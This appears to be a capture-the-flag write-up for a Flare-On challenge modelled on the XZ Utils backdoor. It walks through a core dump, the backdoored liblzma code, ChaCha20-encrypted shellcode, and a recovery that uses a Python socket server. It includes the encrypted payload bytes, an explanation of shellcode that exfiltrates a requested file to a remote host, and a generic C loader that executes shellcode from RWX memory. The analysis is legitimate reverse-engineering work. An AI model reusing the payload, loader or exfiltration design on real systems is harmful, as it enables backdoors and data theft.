flare24-sshd-cover

sshd is a really cool challenge that is based on the XZ Utils backdoor. I get an image that has an sshd coredump. In it, I’ll find where it crashed, in the liblzma library. I’ll reverse that to see where it is decrypting a static shellcode buffer and running it. That buffer is connecting to a TCP socket and reading off an encryption key and nonce, as well as a file path. It then reads the file at that path, encrypts it, and sends it back over the socket. I’ll use the core dump to get the keys and encrypted file from memory, and then create my own server to serve them. Then I’ll write a shellcode loader to run modified shellcode to connect to my server and re-encrypt the file with the same key, decrypting it.

Challenge

The challenge prompt reads:

Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you.

The download contains a single tar archive:

oxdf@hacky$ file ssh_container.tar 
ssh_container.tar: POSIX tar archive (GNU)

It contains a partial Linux filesystem:

oxdf@hacky$ ls
boot  dev  etc  fmnt  home  media  mnt  opt  proc  root  run  srv  sys  tmp  usr  var

Crashdump

Identify Interesting Files

I’ll start by looking at files in the container filesystem sorted by last modified time:

oxdf@hacky$ find . -type f -printf '%T@ %p\n' | sort -nr  | head
1726088159.0000000000 ./root/flag.txt
1725917676.0000000000 ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
1725917673.0000000000 ./usr/lib/x86_64-linux-gnu/liblzma.so.5.4.1
1725916919.0000000000 ./var/log/dpkg.log
1725916919.0000000000 ./var/log/apt/term.log
1725916919.0000000000 ./var/log/apt/history.log
1725916919.0000000000 ./var/lib/dpkg/status
1725916919.0000000000 ./etc/ssl/certs/ca-certificates.crt
1725916918.0000000000 ./var/cache/ldconfig/aux-cache
1725916918.0000000000 ./usr/share/mime/XMLnamespaces

The flag.text file is just a troll. But the next one is a coredump for the sshd process, which also happens to match the name of the challenge. The file is from /usr/sbin/sshd:

oxdf@hacky$ file ./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676 
./var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676: ELF 64-bit LSB core file, x86-64, version 1 (SYSV), SVR4-style, from 'sshd: root [priv]', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/sbin/sshd', platform: 'x86_64'

The next file in the timeline is liblzma.so.5.4.1, which is responsible for the XZ compression algorithm.

gdb

The way to interact with a crashdump file is with gdb:

oxdf@hacky$ gdb usr/sbin/sshd var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
...[snip]...
Core was generated by `sshd: root [priv]      '.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000000000 in ?? ()
gdb-peda$ 

It’s crashed at a null address. I’ll look at the backtrace:

gdb-peda$ bt
#0  0x0000000000000000 in ?? ()
#1  0x00007f4a18c8f88f in lzma_str_list_filters () from /lib/x86_64-linux-gnu/liblzma.so.5
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

It crashed from the liblzma.so.5 library, which is the file noted above.

I’ll get the address liblzma.so.5 is loaded at in this dump, but it shows up as (deleted):

gdb-peda$ info proc mappings
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile  
...[snip]...
      0x7f4a18c86000     0x7f4a18c8a000     0x4000        0x0 / (deleted)
      0x7f4a18c8a000     0x7f4a18ca9000    0x1f000     0x4000 / (deleted)
      0x7f4a18ca9000     0x7f4a18cb7000     0xe000    0x23000 / (deleted)
      0x7f4a18cb7000     0x7f4a18cb8000     0x1000    0x30000 / (deleted)
      0x7f4a18cb8000     0x7f4a18cb9000     0x1000    0x31000 / (deleted)
...[snip]...

Still, subtracting the base address for this library from the crash address shows the offset into liblzma.so.5 where the crash occurred:

gdb-peda$ p 0x00007f4a18c8f88f - 0x7f4a18c86000
$3 = 0x988f

XZ Utils Background

In March 2024, a PostgreSQL developer at Microsoft named Andres Freund disclosed that he had identified a backdoor in the XZ Utils library while troubleshooting unusual performance issues in sshd. The open source library was social engineered into getting a malicious developer in a position to commit this backdoor to the project. The backdoor would be triggered when the library was called to decrypt certain operations used by sshd, the SSH server on Linux. Wired has a great writeup on it.

RE

liblzma.so.5.4.1

Identify Crash

I’ll open the library file from the container in Ghidra. I’ll set the base address to 0 in Window –> Memory Map –> Home icon, and then move to 0x988f:

image-20241103151648576

The crash is just after dyn_func is called on line 30. At [1], it checks if the running user is root and if so, does some stuff (coming back to this later). Then for some reason it changes target_func to “RSA_public_decrypt “ with a trailing space [2]. Then [3] it tries to load that function using dlsym, which will return null because of the trailing space, and then call that null (causing the crash).

Identify ChaCha20 Encrypted Shellcode

I’ll focus on the stuff that happens if the user is roo. FUN_000093f0 does some kind of initialization setting a ton of values into the struct at param_1:

image-20241104132337364

The two words on lines 36 and 38 are the magic for ChaCha20, “expand 32-byte k” (this came up in the 2022 challenge encryptor).

If this is the ChaCha20 init function, then the next call must be decrypting shellcode before it’s run:

image-20241104133519464

Decrypt Shellocde

The from buffer is in $RSI in this function at the crash. That means I can recover it in gdb:

gdb-peda$ x/xw $rsi
0x55b46d51dde0: 0xc5407a48

The key is 0x20 bytes at $RSI+4, and the nonce is 0xc bytes at $RSI+0x24:

(gdb) x/32xb $rsi + 4
0x55b46d51dde4: 0x94    0x3d    0xf6    0x38    0xa8    0x18    0x13    0xe2
0x55b46d51ddec: 0xde    0x63    0x18    0xa5    0x07    0xf9    0xa0    0xba
0x55b46d51ddf4: 0x2d    0xbb    0x8a    0x7b    0xa6    0x36    0x66    0xd0
0x55b46d51ddfc: 0x8d    0x11    0xa6    0x5e    0xc9    0x14    0xd6    0x6f
(gdb) x/12xb $rsi + 36
0x55b46d51de04: 0xf2    0x36    0x83    0x9f    0x4d    0xcd    0x71    0x1a
0x55b46d51de0c: 0x52    0x86    0x29    0x55

The encrypted shellcode is in a global buffer that’s already initialized in the binary:

image-20241104133835876

It ends at 0x248f6, so 0xf96 bytes long:

image-20241104133924118

I’ll copy that encrypted shellcode:

0fb0354e81fd50e504bf6b1bc20f66167f1a8066014b3feda68baa2d42ae3be87ce8703035e632223d8ab9df9769b3426de484665bc7d5295347073ecffb29bfc21f36dd284146a36899ffefe9d0c5e71fda58adbcb3924d923fc580d6dfd8fbc3cc3e45c319c0caf380e54584b3eca78853eb9f7e7cc921f15d526394de65f53b18117e4e030a311e57d0d248368a607ce15ffe774f417fc726d32ec09d266144792aaeadc2d391bfba987abded1ce1125379e9a973839cdfc61101d1a94442bd765932e017fc53dca8eebc9679dc47185d120a1ae56b54e5cdee9b5687d5b1e86d8da957e6e986ab4a7faad933dfd07759f8d7cf4152c798bd51a7c2c8355512d4b3b5abef3e3b73818e30276b80e2d1cdd714fb48d1e894dda30a6a2d0417c7507b5552d63bbe7cead0a4f7c069be5765cc61ba671efc8011390e8143b89af5734617a31add326550afd23e83b5620d4415fa92b7c0cc70aff6c2e3330eff8c901cd16ec0819ae7e50efa86b5535accb38109df76d1832fcfd80dffd73b43c2c1b7c7df05766c887d28ec0feff48b12cdfc08dbbd82007cf3958e41cdfdfdee0f6ea39986973bb3234135f66690a25aeabbfcb0f44dd54814712498c2331186f0f7a1f8140c1cead4ab40f5b79a000a4072466b23b30b145df0a35e2b0e55f6bbdc1ce99fa674c51c291d59049651c2968bd431d52ce095bf4bdce8524fb077bffdbf7cbae320d27517fef034e43ebbd756e625e80ba71c5bf2eb244570629d74bd8ee5c4fd730ca1a104b0e43f41c2d9ba73d2d16a8c37bc2bee37ece01fa3f03a40bde70ccd34e7f0b797cc5b524f80ed4f1e5b047e62d7a0a3003d5dcd850d035ac00e634419fdc22b483fe81d4ef614ffac75a2f4185532503bd4df08c27f5b9cd2d8bbc42311fe9d049948af36f1aff565ed30b6e61113659bf6978601e773a6b0dbf949f31c947e98fe52bc6b6d87592d1b6effaf2d5d5c6daa71848a91beb205b4369f981bac6cc043736ab06b5ecb903495c283039b4792e8f5e0b6deeac0645489c90bfa02176b92153643141846c7242caa43a45f04e08d6e653f3318f31463f6d7becfdb37624e2609fd627a90dd6111e6abcdeee373036b143b130b576487428a686426b80d1f6032089955cfaf17fd358706ca2241428d646de3b739455ea2de7b9b9c52f54681217deb59620ad1a662da5e9f8a082346b0ef91b8dce971d553258845a52d3f683a07d16816f2a6c120dc9411e437b7d924752bb4e675594a83fe0bd7164d669a04462ba96cc63d69db7d241a48e11fdf630529f60f97a0e494e6fe520e3878aeb81f6b804f28f5daa99ece0049d0132200cb6c6e454d253e5a999ab02de9b724eb905baaf523269a3acd5cd0fe6fcbef31d6f261a962fe0a461c87899cd3a0bbae2eb2c79bc0b29d17aad5ac93d6c8c826db14a8f20c19e030d0d5478037c52aa92b0595931496d505e7db8f7107214c888f0e1bcc63219c4982d7b81febbc6f3c0a2822d708d7b078b1bb202fea182d86b6e6e2f8c20c0f94e18de818951f540a2358cea4cc237f5e5ca94ef871a794a8556a689c5956f964bd55a65a5003c3bd18e71a3a1b289867a7c502991cbd6e8c398eaa97c0a59bedca29b70d318bfa20f3935e4cbb0e2c4067b4e2dfa0c465de7dee91eaa5a3ca6331d3f2d8207bf0614efa76a6c212219e56a1d5415b838a1cfefb93f2e22539b62f16c977179c162da22713cf1a8274518b168f796449baf5dbdccc281c23e6cb3c5c48071b9637652ca29ac22fc6e81a563153cfec1b6cfcebbc5019974e1416cb97f4acd8827df34702f4da695e52fb30bc8e302c10f52fd1ec0d133b78cc7eb59c434c3627f90cdbc6b84725d1ed85a41cdb1b3e1a8e85bc113c6c396b347f9abaa57b97c11683d3dcb6e1ce9ce83dd56392bacfe895a36c239860963a7a3b61a0602ba4268bb67a886863690a2847fbb85821833598b347447abb78212d3bd7f60345d38fe4d1a2f429aa2b08d8b4cd364b3e41bdfef3b67b1815a080b12703132691dc0a1cdc8fb80c8696cd86f9a8d819697bd1ce8d5951dc7daaafa42016173e00a2d5cdf74d423a1974b49a9f8dbc0601c3b566a73bbd10856801de718a71105013fedf7e23da3c0b2f7cf2e0f471f3d601d0a66dbefa0ada08e96386ee0cb7e5eac965204b53009db3ad0a93835f24118d0df48bdfa5618d08702e175990a189e463b4d2b51285ca48c72d0b1bd286cc604c33facc174aea16e808732ab528b5028096c32ead62877c767faa57817e170274c0980cd063eee529a85f2e374bae6ebee7cf26733eedec18a533b8a4646127f84be1666888b2e9872440cb0eafa244c81008d41e2bde095c94db4630c03c6c0e8a6fb915cee84baa2dce72f6b7d2f4a94bb14e63dd204b1fed12a1df7425a9b01bd7739eb830cb8a998dde210db89f2703e21fdeb91e1ff630a71099605aaeb75205f07f1c7e90474638a6c3411e9556a34e672440a4bf05c182a804fcae1eca75a3c53d4aff3ffeed7165e5b8c57f44865670cfa7b12a6a63ed4854530d6cf2a211b11e85d36743235780c9b6501026a791356f4814d3408f53e73256433e66409939121c3fde5ca6199112ecc6198911f69b66eb99fdddcd562cbc4cd0dac4a305780a948bcf35ef8a2f5351466175f55bcf91ffc605762b1dc1aa17e0ec2deb47920a94589adef63575da48fe2e98680dc63976f3dc0bc91288c9a417184f68d71fbe8cff4d9e67b9e0450e726bb179338e6c3ec51f268d7694bbd03b0b68fb33ddcb4c059b52fba6764520df07ccd3f7178c84c0c6f7d12fa46438b243cbc78d8de96044438b42d7360062b4a9961f9c31d492e0cee84764d0553e98057d3d95c49b05e604a03f285aeaef16bb7661446c5b2e2d5637adafc0310a44abc9e67b8f836f780026c98858ba8da0ed899e01a5da26b2d8bf9ccee984d916803c95ad604dcdf116304b7e827ca7c7f9b7b3a835d658bea901525ddf12d1b4939cf9f11795d0f9e76190c4d4d266988e365ead38fe51fb074844c8fb6dbddfee225092aa2b8623fabac39cddb6e2062f0385e1f2d838e7292c1671f0aee7f3db5cdf9c8e385cd5ab03a580810ace75355c3a3373f3268a1da807cbb3801ac2c54948d8ca7ac1c5f25210ad4708498df115a11d6e8a9931c479464f785f87b79bd4b3a0201a2de0594d96fc7a4ae03afb857a631f00b722b107e754c38bdb1ebd7a1d01e194cbceb24ddec89cd6448fa930e7be5c6f59a13a0f9c9352bf3f03df6f0ae0f868a56aa26e0f3569f8fd376e816ada77803cdee0c7b9aed820b3a5a2847aff1fbe4b435281c2d11202a5b849442ca588c607f5ea1dbbb66852e84ad3d9f60a97dfa4d1060bcda6305b2b8744445d69d3acb8966f28087d2e3d72b8396dcbb1c8a753b9989a9ca97c9db74ba74968a9ad604e23a65f20b15d772f02101a90633b481f2acc6b1cca8b54ee5b4d5dfa9a8aec996d88e5f1c94ab8d521780bb1b90f0a2290f7e25e976f45d6eb4e3aff89235893ba9837fc783d88f4f3bed8467df5d633c590fd8080a3a2dbe9b0a3dfe56f154d300ea817b202845eac06f2c6d7a2c0ce9fbb504c4a4b1583b269c48cd993b4d0762cb836a1a1bfbf614e8f3a9c7139e336cf4c7ee07604b76646e8bd57b67c79c5c4a9d53b27d2c74d84e1acdc942b1a02b56dfe15bde63161493b79d616a1e5aa339e3dae4f1e627390e8694b265bfd8fdaa83db379b8f395b6f37b3f98d4d9dbfb23024bd45edc564ec7968961e1ebc5cde461e19191e39e52bc7dc07ec9afba567d849b0f4b91c10604a847fa079ddffa93a9684d3bc0cb48cd5bfdbd21b5e51773623aff20b4bc802b2413738ac0a6c44f85a5844614e9ca292f5c6b2a5818d12a066aa2f97e446c28c46a0510a4e1849db08263b2d8f1cd4cce23a60bb5d590b6813de8d503e19057c72dd6683b1ccfc12112830d50bb47ae054125b9f5e98b3ba7e2e74435d2b0bbae15462c261acc87bafd688ce3c80c80d7b3e8d8f92f5c8d7129da8ead6038b6be73ebb7aba263eb5e17545551a745025b67e365c9d6918b9b8189b940d8c33dc9f5922403a39dd2466346094cb824e0c4a2f4e551abc8c12fb2270d61b0f92d0eac9e7436f9c505ee90c49361d95ed8a4e52360d05679cc2712996b19e488c18ccc617cbea98c6b6b8a7a395eb1c071c6f749e45c41ab64d10c7e8ac05c0b51a1757ab60780bace893ff709825c290f332044528f0d180496248ef44a1fccf164dc50df1304af12b4371eaaeb9c1401bd553e99f92557ee2ac20f3877dd726e3f99379b69e57a53b05d2653aa764c26d1f2f5feec74f7ebc0b36e492da0f1f0db6be48c3adbd2ceab54a3305a521d2eef1409dec3675e7b550639ac90a6ef532164f2f54ee1a1388fb6323a0fc7eb05383e9eabec54b4268d4c501a6d8136fb696eba3ab01a80507904e1d2fdc7304de70c17c228923d62f8ee4c7331c52d560ecba5e57ed75c884c881bf3a6af941968249fcb1bcbfecebd9950d5dea6ba5fd900f0f33de57f000a10061118732ef2e09d27630579395119afd494d0a5e9705f7fcd9e3303e39751d3a3db4c2c9b41ecf87c68b635cbf44c68cdd60149d962fa606e4f8ea88650ddafaa0e02d472a0e7618bd23227ab3f19e5204a29b3242a5cc95e4429b9f915e0a1d67163675e270519a4b9861447b4f8032a466e8874a27de994fe609c83bd64c64c19d2972cb5d8c436c53746e5ab472656aeaf93f3c08abff1d53bef412de604007445e1fbd38a9a7fb1e1b590b4b45e892c337b4ca7b35c48424468478ac8fd7ad941b170f6d53749cc555845bda354faf2ed471c47e639d99df85260513344d6270e1174d4470465064c2f0e93ddafac20ac20df94506746b12a4e2d5a94b64d534c2de815ec0fb295139cf2aa07c8512f32646e9e3ee766586dd553f0b6f9ff6c998b41dc1146d6c9c4c7aa46717530656445d1996b69d653add37643280657154789cdd5c64a8a1f2f92474b5229c3f8908ea50af69ecec580a40f76601dbee6e89375369c206862b52ab9a022983b620b58b6e13ddfd6ea55aca29a196fe07761c7d45229b3699555e9204a0e97e4ccc043a87244cb34d20406e44832d989bb121f96e949df1fd8819da6003e39885ace466d1061f4930019000c15ad69e9183800cd641d61008bdac417fe60b4d7417e4974c394c10b8e842460d4f01c253baab59e8c57c7fb09f3187ed6d253c690888f031a5bfdddc4318b42a948c3aca95f17c8ebd9507e17890bebacdabeec1b2d9525fc5914d3d4a7b1db27b1737bde7012069c82c4408ab340c99cd2f84a0a3ec4ee95a0c7470b1b7fbd62a33b9d38ccf718d0263cb34c1ed8ba5b72bf72227dfc97046e57db2cf804c3a137df9b78f7606a5169b7b68aaf438eb30dfd21716eea96a54b6d5d7dde8b6b4b9f8500473713c3607ba97311b95d521a60c45ff68f0dbc0019c3ca8a0e1c824cbc0733b2b9b67ce48a03b23e3d03b2d60a24d171fe13af26a44a7be4ec4a9d7ecb9ac8781133a013725faa6511001f50eb8d79aa4e052b669c086973ef426d66af0c4d3686a0d12e5c055a48fefef7910000

And bring it to CyberChef, along with the key and the nonce:

image-20241104134014025

I’ll save the decrypted shellcode to a file.

Shellcode

Strings

There’s a really interesting string in the shellcode:

oxdf@hacky$ strings -n 10 shellcode
expand 32-byte K

On first glance, it looks like the ChaCha20 initiation string… but it’s different. The last character is “K” rather than “k”. This is important to know because it means that standard ChaCh20 won’t decrypt this time.

Ghidra

The shellcode immediately goes to 0xDC2. First it calls a function I’ve named get_socket with the IP 10.0.2.15 and the port 1337, which creates a TCP socket and connects to it (the disassembly is a bit off, but good enough):

image-20241104135445467

Then it does the following:

image-20241104135425001

It’s reading 0x20 bytes (the key), 0xC bytes (the nonce), 0x4 bytes (length of the next buffer), and then that many bytes, which is a filename.

It opens that filename, reads it, encrypts it, and sends it bacl to the socket, first the length, and then the encrypted bytes.

Recover File

Get Values

The stack frame that is handling this function is going to be in the crashdump somewhere. I need a way to find it. Towards the end of the coredump, there’s a string that looks like a path that an attacker may want to exfil:

oxdf@hacky$ strings -t x -n 30 sshd.core.93794.0.0.11.1725917676 | tail 
 1d4380 glibc.elision.skip_trylock_internal_abort
 1d43f0 glibc.malloc.tcache_unsorted_limit
 1d4540 glibc.elision.skip_lock_internal_abort
 1d47e0 glibc.pthread.mutex_spin_count
 1d48c0 glibc.rtld.optional_static_tls
 1d6f20 glibc-hwcaps/x86-64-v2/tls/x86_64/x86_64/tls/x86_64/
 1f3910 servconf.c:parse_server_config_depth():2854 (pid=7378)
 1f3990 parse_server_config_depth: config %s len %zu%s
 1f4c18 /root/certificate_authority_signing_key.txt
 1fba3c GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0

By using -t x I get the offset into the dump where this string is, 0x1f4c18. I’ll start a Python script to calculate the values:

with open('sshd.core.93794.0.0.11.1725917676', 'rb') as f:
    dump = f.read()

key_offset = 0x1278
nonce_offset = 0x1258
filename_buf_offset = 0x1248
file_buf_offset = 0x1148

filename_buf_addr = 0x1f4c18 # strings -t x -n 30 sshd.core.93794.0.0.11.1725917676 | tail
rbp = filename_buf_addr + filename_buf_offset
key_addr = rbp - key_offset
nonce_addr = rbp - nonce_offset
file_buf_addr = rbp - file_buf_offset

key = dump[key_addr:key_addr+0x20]
nonce = dump[nonce_addr:nonce_addr+0xc]
enc = dump[file_buf_addr:file_buf_addr+64]

I tried to get the sizes, but the values were wrong. I think they were overwritten (or I could have just made dumb errors). Some educated guessing at the size of the encrypted buffer gives a good result, though having too much doesn’t cause an issue because ChaCha20 is a stream cipher.

Decrypt [Server]

Strategy

I can’t just use ChaCha20 to decrypt because of the modified magic initialization constant. There are several ways to go after this. I decided to just use the shellcode as a server, and have it fetch and “encrypt” the already encrypted file, which would decrypt it.

Modify Shellcode

I’ll make a copy of the shellcode I’ve already got in a file and find the IP:

image-20241104161243822

I’ll update that to “01 00 00 7f” –> 127.0.0.1 and save.

Shellcode Runner

I’ll write a C program to run the shellcode (with the help of ChatGPT):

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <shellcode binary file>\n", argv[0]);
        return 1;
    }

    // Open the binary file
    FILE *file = fopen(argv[1], "rb");
    if (file == NULL) {
        perror("fopen");
        return 1;
    }

    // Get the file size
    fseek(file, 0, SEEK_END);
    long filesize = ftell(file);
    fseek(file, 0, SEEK_SET);

    // Allocate memory with read/write/execute permissions
    void *shellcode = mmap(NULL, filesize, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (shellcode == MAP_FAILED) {
        perror("mmap");
        return 1;
    }

    // Read the shellcode from the file into memory
    fread(shellcode, filesize, 1, file);
    fclose(file);

    // Execute the shellcode
    ((void (*)())shellcode)();

    return 0;
}

Now I can run this and it will connect to localhost:1337 that will read a 0x20 byte key, a 0xc byte nonce, a file path length, and then a file path, and then return a encrypted copy of that file.

Server

I’ll write a Python server to handle the client:

import socket


with open('sshd.core.93794.0.0.11.1725917676', 'rb') as f:
    dump = f.read()

key_offset = 0x1278
nonce_offset = 0x1258
filename_buf_offset = 0x1248
file_buf_offset = 0x1148

filename_buf_addr = 0x1f4c18 # strings -t x -n 30 sshd.core.93794.0.0.11.1725917676 | tail
rbp = filename_buf_addr + filename_buf_offset
key_addr = rbp - key_offset
nonce_addr = rbp - nonce_offset
file_buf_addr = rbp - file_buf_offset

key = dump[key_addr:key_addr+0x20]
nonce = dump[nonce_addr:nonce_addr+0xc]
enc = dump[file_buf_addr:file_buf_addr+64]
#print(f'Len filename: {int.from_bytes(dump[len_filename_addr:len_filename_addr+4], "big")}')
#print(f'Len file: {int.from_bytes(dump[len_enc_addr:len_enc_addr+4], "big")}')

fn = '/tmp/enc'
print(f'Saving enc to file: {fn}')
with open(fn, 'wb') as f:
    f.write(enc)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 1337))
s.listen(1)
while True:
    cs, addr = s.accept()
    print(f"Connection from {addr}")
    cs.send(key)
    print(f'sent key: {key}')
    cs.send(nonce)
    print(f'sent nonce: {nonce}')
    cs.send(len(fn).to_bytes(4, 'big'))
    print(f'sent fn length')
    cs.send(fn.encode())
    print(f'sent fn: {fn}')

    datalen = int.from_bytes(cs.recv(4), 'little')
    data = cs.recv(datalen)
    cs.close()
    print(data.decode(errors='ignore').split('\n')[0])

When I run this, it listens:

oxdf@hacky$ python server.py 
Saving enc to file: /tmp/enc

Now I run the shellcode runner, and it prints the flag:

oxdf@hacky$ python server.py 
Saving enc to file: /tmp/enc
Connection from ('127.0.0.1', 36456)
sent key: b"\x8d\xec\x91\x12\xebv\x0e\xda|}\x87\xa4C'\x1c5\xd9\xe0\xcb\x87\x89\x93\xb4\xd9\x04\xae\xf94\xfa!f\xd7"
sent nonce: b'\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11'
sent fn length
sent fn: /tmp/enc
supp1y_cha1n_sund4y@flare-on.com